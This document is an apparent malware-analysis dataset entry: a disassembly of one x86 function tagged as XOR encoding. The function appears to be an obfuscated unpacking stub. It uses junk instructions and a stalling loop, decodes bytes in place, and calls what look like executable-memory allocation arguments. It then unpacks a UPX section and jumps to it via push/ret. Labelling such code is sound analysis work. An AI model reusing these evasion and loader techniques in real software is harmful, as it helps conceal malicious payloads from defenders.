Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa1bfdc0e
add ebx, eax
mov eax, 0x4bf57306
popal
mov ebx, 0x47358ed9
sub eax, 0xb8576acc
sub ebx, eax
mov edx, 0
mov ecx, edi
dec ebx
add eax, 1
and ebx, eax
mov esi, ecx
mov eax, ebx
not eax
mov edi, esi
mov ebx, eax
dec ebx
inc edx
add ebx, eax
inc ebx
cmp edx, 0x1004100
jne 0x47afd8
add eax, 0x5fdb3196
not eax
sub ebx, 0xb312d0dd
cmp edx, 0x1004100
je 0x47b01b
mov ebx, 0
mov byte [ebx], dl
add eax, ebx
sub eax, 0xea61bc62
add eax, 0x7ccc2cf2
sub ebx, eax
sub eax, 0xb6eee3dd
mov esi, 0x47ada2
sub ecx, ebx
sub ecx, edx
or ecx, ebx
mov edi, 0x47af96
sub ebx, 0xea9d72fe
add ecx, ebx
mov eax, dword [esi]
add edx, 0xf4d16db8
dec ecx
mov edx, 0xd468fc1b
and eax, 0xff
mov edx, ebx
mov ecx, ebx
xor dword [edi], eax
or ebx, ecx
and edx, edx
inc edi
dec ebx
sub edx, 0xbd9f3f8b
inc ecx
inc esi
sub ecx, 0x4920dc33
mov edx, ecx
cmp edi, entry0
jl 0x47b049
add edx, 0x4ed4394b
not ebx
sub ecx, edx
sub edx, 0x5776e58a
mov ebx, ecx
add ebx, 1
sub edi, 0x519ac533
or ebx, ebx
mov esi, 0x47af9a
mov ecx, ebx
add edx, 1
sub edi, 1
mov esi, dword [esi]
or edx, ecx
inc edi
add ecx, ecx
mov esi, dword [esi]
or ecx, ecx
sub edi, 1
push esi
not ecx
not ebx
mov esi, 0x47af96
add edx, 0x539d5906
dec ecx
mov edi, 0x3dda65c8
mov esi, dword [esi]
sub edi, edx
and ecx, ecx
mov esi, dword [esi]
mov ebx, edi
mov ebx, edx
not ebx
sub esp, 4
mov dword [esp], 0x47af9e
sub ecx, 0x96ff0a4f
sub edx, 0xcf54d373
mov edi, ecx
call esi
sub ecx, 1
or ebx, ecx
pop esi
add ebx, edi
mov ecx, edi
add edi, 0xdd7d8bb6
push 0x47afab
add edi, 0x9d829907
or edi, edx
push eax
sub ebx, edi
not ebx
call esi
inc ebx
mov edx, edi
add edx, 0x59aadd68
push 0x40
dec edx
sub edi, 1
sub esp, 4
mov dword [esp], 0x3000
sub edi, 0x6b1892a0
sub edi, 0x268e1c0d
sub esp, 4
mov dword [esp], 0x20000199
mov ebx, edx
inc edi
push 0
add edx, 0x9328d77b
mov edx, 0xfa767829
inc ebx
call eax
mov ebx, ecx
or edi, ebx
add eax, 0x20000127
add edi, ecx
dec edx
mov edx, 0x2a1b16da
mov esi, 0x56a0b179
dec ecx
add edi, 0x4e485909
sub edi, 0xaa6394c3
mov dword [eax], esi
and edi, ecx
mov ecx, edx
mov esi, dword [eax]
mov ecx, edi
add ecx, 1
add edx, edx
cmp esi, 0x56a0b179
je 0x47b1be
mov eax, 0
mov bl, byte [eax]
dec ebx
add edi, 0x2f5fee7f
add ebx, 0x91f8fd41
dec ecx
mov edi, 0xd1897dee
mov eax, ebx
sub eax, ebx
mov edx, section.UPX1
add eax, ebx
or ebx, ebx
and ebx, eax
mov esi, 0x47ada1
dec eax
dec eax
mov edi, 0
add eax, 1
and eax, ebx
or eax, ebx
mov ecx, 0x47ada2
add ebx, eax
add ebx, 0x69566933
or eax, ebx
lea ecx, [edi + ecx]
sub ebx, 0xa1cd3e41
mov eax, 0x80bd6803
mov ecx, dword [ecx]
or ebx, eax
sub eax, 0xea15a2ac
or ebx, ebx
and ecx, 0xff
add ebx, eax
sub ebx, eax
not ebx
inc edi
and ebx, eax
dec ebx
cmp edi, 0x1f4
jne 0x47b23c
mov edi, 0
add eax, 0x37377cc7
add ebx, ebx
sub ebx, eax
dec eax
xor dword [edx], ecx
sub eax, 0xd3223d07
sub ebx, 0x313e9b84
add edx, 2
sub ebx, 0xa8f601b1
not ebx
add ebx, 0xc8c11553
cmp edx, esi
jl 0x47b1f6
sub ebx, eax
sub ebx, eax
add ebx, eax
and eax, eax
sub ebx, eax
mov esi, section.UPX1
dec eax
dec ecx
mov edx, section.UPX1
sub ecx, 0x7ba15142
add eax, 0x8a41a99b
sub ecx, 1
mov edi, 0x47ada1
mov eax, ecx
mov ecx, eax
mov ebx, 0
mov eax, 0x29efa3df
sub ecx, 0x70145f5f
add eax, ecx
mov bl, byte [edx]
or eax, ecx
inc ecx
mov byte [esi], bl
not ecx
sub ecx, 1
sub eax, 0x974a7798
inc esi
not eax
add eax, 0xe837b57b
or eax, eax
add edx, 2
add eax, 0x8bedd47c
add ecx, ecx
sub ecx, 0xbb95ecd
cmp edx, edi
jle 0x47b2b4
and ecx, eax
mov ecx, eax
sub eax, ecx
inc eax
and eax, eax
push 0x45e6a0
mov eax, ebx
sub ebx, 1
ret